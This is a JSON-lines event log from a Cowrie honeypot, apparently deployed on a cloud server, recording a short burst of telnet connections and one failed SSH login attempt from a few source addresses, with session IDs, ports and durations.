{"eventid":"cowrie.login.failed","username":"server1","password":"server1","message":"login attempt [server1/server1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:17.588592Z","src_ip":"96.78.175.36","session":"b75c8cf847d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.501885890960693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:18.156265Z","src_ip":"174.142.104.49","session":"dc63f9421062","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58608,"dst_ip":"159.203.135.109","dst_port":23,"session":"baba096e2fac","protocol":"telnet","message":"New connection: 174.142.104.49:58608 (159.203.135.109:23) [session: baba096e2fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:18.475959Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:18.688037Z","src_ip":"96.78.175.36","session":"b75c8cf847d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.024107694625854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:18.756718Z","src_ip":"174.142.104.49","session":"f7ce605966fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.552404403686523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:19.854048Z","src_ip":"174.142.104.49","session":"09b6270b5832","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54278,"dst_ip":"159.203.135.109","dst_port":23,"session":"80dfc32b3d9b","protocol":"telnet","message":"New connection: 174.142.104.49:54278 (159.203.135.109:23) [session: 80dfc32b3d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:19.881783Z"}
{"eventid":"cowrie.session.closed","duration":31.409281492233276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:19.962702Z","src_ip":"174.142.104.49","session":"5db15abd78f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00190782546997,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:20.171323Z","src_ip":"174.142.104.49","session":"24a145aade72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.842275857925415,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:20.335341Z","src_ip":"193.22.147.168","session":"67cc7c5cf075","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50046,"dst_ip":"159.203.135.109","dst_port":23,"session":"9df0a02c385d","protocol":"telnet","message":"New connection: 174.142.104.49:50046 (159.203.135.109:23) [session: 9df0a02c385d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:20.425647Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":34010,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9617829c3ce","protocol":"telnet","message":"New connection: 193.22.147.168:34010 (10.17.0.5:23) [session: d9617829c3ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:20.581823Z"}
{"eventid":"cowrie.session.closed","duration":30.89885401725769,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:20.688401Z","src_ip":"174.142.104.49","session":"3bd57cddee34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55880,"dst_ip":"159.203.135.109","dst_port":23,"session":"4295495473e3","protocol":"telnet","message":"New connection: 174.142.104.49:55880 (159.203.135.109:23) [session: 4295495473e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:20.809774Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60630,"dst_ip":"159.203.135.109","dst_port":23,"session":"94e23b7aad61","protocol":"telnet","message":"New connection: 174.142.104.49:60630 (159.203.135.109:23) [session: 94e23b7aad61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:20.833103Z"}
{"eventid":"cowrie.session.closed","duration":31.271976947784424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:20.971142Z","src_ip":"174.142.104.49","session":"c58ebd45df91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01966381072998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:21.060654Z","src_ip":"174.142.104.49","session":"ad90c2be9b08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.078204870224,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:21.134348Z","src_ip":"174.142.104.49","session":"b7b60b1455ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33082,"dst_ip":"159.203.135.109","dst_port":23,"session":"22b7d57a63d8","protocol":"telnet","message":"New connection: 174.142.104.49:33082 (159.203.135.109:23) [session: 22b7d57a63d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:21.326114Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39500,"dst_ip":"159.203.135.109","dst_port":23,"session":"97f6457beb22","protocol":"telnet","message":"New connection: 174.142.104.49:39500 (159.203.135.109:23) [session: 97f6457beb22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:21.705556Z"}
{"eventid":"cowrie.session.closed","duration":120.0010232925415,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:21.909947Z","src_ip":"174.142.104.49","session":"97a67c73305c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":34018,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f15581e1572","protocol":"telnet","message":"New connection: 193.22.147.168:34018 (10.17.0.5:23) [session: 2f15581e1572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:21.946942Z"}
{"eventid":"cowrie.session.closed","duration":30.57625675201416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:22.589845Z","src_ip":"174.142.104.49","session":"232e436b756d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.00034260749817,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:22.719204Z","src_ip":"193.22.147.168","session":"ca059ad9376a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":34032,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b68ea0357dc","protocol":"telnet","message":"New connection: 193.22.147.168:34032 (10.17.0.5:23) [session: 5b68ea0357dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:22.837502Z"}
{"eventid":"cowrie.session.closed","duration":31.108086824417114,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:22.916709Z","src_ip":"161.132.53.68","session":"953dd6cfbe5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.949238061904907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:22.971803Z","src_ip":"174.142.104.49","session":"d14566211cef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39322,"dst_ip":"159.203.135.109","dst_port":23,"session":"130f37d44b8d","protocol":"telnet","message":"New connection: 174.142.104.49:39322 (159.203.135.109:23) [session: 130f37d44b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:24.308772Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39610,"dst_ip":"159.203.135.109","dst_port":23,"session":"794a716ab2ee","protocol":"telnet","message":"New connection: 174.142.104.49:39610 (159.203.135.109:23) [session: 794a716ab2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:24.482561Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":59466,"dst_ip":"159.203.135.109","dst_port":23,"session":"65ac2e561965","protocol":"telnet","message":"New connection: 161.132.53.68:59466 (159.203.135.109:23) [session: 65ac2e561965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:24.610889Z"}
{"eventid":"cowrie.session.closed","duration":24.256916046142578,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:24.974273Z","src_ip":"174.142.104.49","session":"7a33fa968d3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56036,"dst_ip":"159.203.135.109","dst_port":23,"session":"99af792b91f3","protocol":"telnet","message":"New connection: 174.142.104.49:56036 (159.203.135.109:23) [session: 99af792b91f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:25.033584Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35656,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc3c54e8e3b6","protocol":"telnet","message":"New connection: 174.142.104.49:35656 (159.203.135.109:23) [session: bc3c54e8e3b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:25.045255Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35920,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5d278930d93","protocol":"telnet","message":"New connection: 174.142.104.49:35920 (159.203.135.109:23) [session: e5d278930d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:25.225788Z"}
{"eventid":"cowrie.session.closed","duration":33.34911632537842,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:25.755116Z","src_ip":"193.22.147.168","session":"f654228e317b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.723630666732788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:25.773289Z","src_ip":"174.142.104.49","session":"555166827b1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36964,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d854df80964","protocol":"telnet","message":"New connection: 174.142.104.49:36964 (159.203.135.109:23) [session: 6d854df80964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:25.863184Z"}
{"eventid":"cowrie.session.closed","duration":31.346405029296875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:25.982627Z","src_ip":"174.142.104.49","session":"dfa0edbebb59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":34040,"dst_ip":"10.17.0.5","dst_port":23,"session":"07971d2eadce","protocol":"telnet","message":"New connection: 193.22.147.168:34040 (10.17.0.5:23) [session: 07971d2eadce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:26.197643Z"}
{"eventid":"cowrie.session.closed","duration":31.144856214523315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:26.655641Z","src_ip":"174.142.104.49","session":"ee64e2029cf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.331780195236206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:26.721022Z","src_ip":"174.142.104.49","session":"38ece7be34a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49936,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8fbb5bd0dad","protocol":"telnet","message":"New connection: 174.142.104.49:49936 (159.203.135.109:23) [session: e8fbb5bd0dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:26.798831Z"}
{"eventid":"cowrie.session.closed","duration":0.004974365234375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:26.803679Z","src_ip":"174.142.104.49","session":"e8fbb5bd0dad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01643967628479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:27.088129Z","src_ip":"174.142.104.49","session":"c94cecaeabe5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":34050,"dst_ip":"10.17.0.5","dst_port":23,"session":"720e3287b76e","protocol":"telnet","message":"New connection: 193.22.147.168:34050 (10.17.0.5:23) [session: 720e3287b76e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:27.371295Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":34056,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e4b0897f9b2","protocol":"telnet","message":"New connection: 193.22.147.168:34056 (10.17.0.5:23) [session: 9e4b0897f9b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:27.690178Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41976,"dst_ip":"159.203.135.109","dst_port":23,"session":"65f086dff257","protocol":"telnet","message":"New connection: 174.142.104.49:41976 (159.203.135.109:23) [session: 65f086dff257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:27.913474Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45284,"dst_ip":"159.203.135.109","dst_port":23,"session":"992fe4f19a72","protocol":"telnet","message":"New connection: 174.142.104.49:45284 (159.203.135.109:23) [session: 992fe4f19a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:28.164536Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45350,"dst_ip":"159.203.135.109","dst_port":23,"session":"29597d40d65e","protocol":"telnet","message":"New connection: 174.142.104.49:45350 (159.203.135.109:23) [session: 29597d40d65e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:28.207410Z"}
{"eventid":"cowrie.session.closed","duration":30.616844654083252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:28.211741Z","src_ip":"193.22.147.168","session":"f6ceb6bef462","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.283546924591064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:28.330929Z","src_ip":"174.142.104.49","session":"3b8cae55c557","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":70.86045241355896,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:28.348307Z","src_ip":"174.142.104.49","session":"fec993ef9748","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04444432258606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:28.558138Z","src_ip":"193.22.147.168","session":"65c839335156","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46180,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7229a97e6be","protocol":"telnet","message":"New connection: 174.142.104.49:46180 (159.203.135.109:23) [session: c7229a97e6be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:28.834564Z"}
{"eventid":"cowrie.session.closed","duration":33.93166494369507,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:28.924203Z","src_ip":"174.142.104.49","session":"b8b6233798b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.065447568893433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:29.069675Z","src_ip":"174.142.104.49","session":"2e0aacd08488","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55836,"dst_ip":"159.203.135.109","dst_port":23,"session":"90e6f6aff47f","protocol":"telnet","message":"New connection: 174.142.104.49:55836 (159.203.135.109:23) [session: 90e6f6aff47f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:29.280271Z"}
{"eventid":"cowrie.session.closed","duration":0.0047719478607177734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:29.284883Z","src_ip":"174.142.104.49","session":"90e6f6aff47f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00157499313354,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:29.323279Z","src_ip":"174.142.104.49","session":"fab75e11d819","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.635472536087036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:29.488743Z","src_ip":"174.142.104.49","session":"d065b0f6f079","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.377750635147095,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:29.554358Z","src_ip":"174.142.104.49","session":"c092bfc162d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44658,"dst_ip":"159.203.135.109","dst_port":23,"session":"2168a1594f73","protocol":"telnet","message":"New connection: 174.142.104.49:44658 (159.203.135.109:23) [session: 2168a1594f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:29.769575Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46146,"dst_ip":"159.203.135.109","dst_port":23,"session":"436ccf74ca4d","protocol":"telnet","message":"New connection: 174.142.104.49:46146 (159.203.135.109:23) [session: 436ccf74ca4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:29.793050Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46442,"dst_ip":"159.203.135.109","dst_port":23,"session":"9417736075c6","protocol":"telnet","message":"New connection: 174.142.104.49:46442 (159.203.135.109:23) [session: 9417736075c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:29.943662Z"}
{"eventid":"cowrie.session.closed","duration":31.32964515686035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:29.962573Z","src_ip":"174.142.104.49","session":"6684210bb620","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48158,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d76bd908f09","protocol":"telnet","message":"New connection: 174.142.104.49:48158 (159.203.135.109:23) [session: 7d76bd908f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:30.065446Z"}
{"eventid":"cowrie.session.closed","duration":31.367987632751465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:30.071750Z","src_ip":"193.22.147.168","session":"6ce0b09ae503","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.648109674453735,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:30.321055Z","src_ip":"193.22.147.168","session":"7a38c267da8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.43334698677063,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:30.436019Z","src_ip":"174.142.104.49","session":"dc9c2e5dd84a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.06958031654358,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:30.589270Z","src_ip":"193.22.147.168","session":"12eb3ca51d09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96537947654724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:31.113590Z","src_ip":"174.142.104.49","session":"39fe670be154","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":74.53145337104797,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:31.354370Z","src_ip":"174.142.104.49","session":"01fc8b29789d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41392946243286,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:31.591427Z","src_ip":"174.142.104.49","session":"a14db8db9884","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.670353651046753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:31.865578Z","src_ip":"174.142.104.49","session":"76f410a05153","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18613624572754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:31.948862Z","src_ip":"174.142.104.49","session":"64fced3f1954","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38412094116211,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:32.192378Z","src_ip":"174.142.104.49","session":"e9df8569a416","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.55902409553528,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:32.197059Z","src_ip":"193.22.147.168","session":"7a52e360a84f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50041,"dst_ip":"159.203.135.109","dst_port":23,"session":"825950d2671e","protocol":"telnet","message":"New connection: 174.142.104.49:50041 (159.203.135.109:23) [session: 825950d2671e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:32.256966Z"}
{"eventid":"cowrie.session.closed","duration":30.468153476715088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:32.365463Z","src_ip":"174.142.104.49","session":"650a736009de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29679846763611,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:32.401924Z","src_ip":"174.142.104.49","session":"cd9430781f34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.578778743743896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:32.505156Z","src_ip":"174.142.104.49","session":"fd3aed0ea7a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53142,"dst_ip":"159.203.135.109","dst_port":23,"session":"83e95e171b67","protocol":"telnet","message":"New connection: 174.142.104.49:53142 (159.203.135.109:23) [session: 83e95e171b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:33.222993Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52168,"dst_ip":"159.203.135.109","dst_port":23,"session":"c076b131dc32","protocol":"telnet","message":"New connection: 174.142.104.49:52168 (159.203.135.109:23) [session: c076b131dc32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:33.605115Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52250,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7a4d3daf911","protocol":"telnet","message":"New connection: 174.142.104.49:52250 (159.203.135.109:23) [session: d7a4d3daf911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:33.654042Z"}
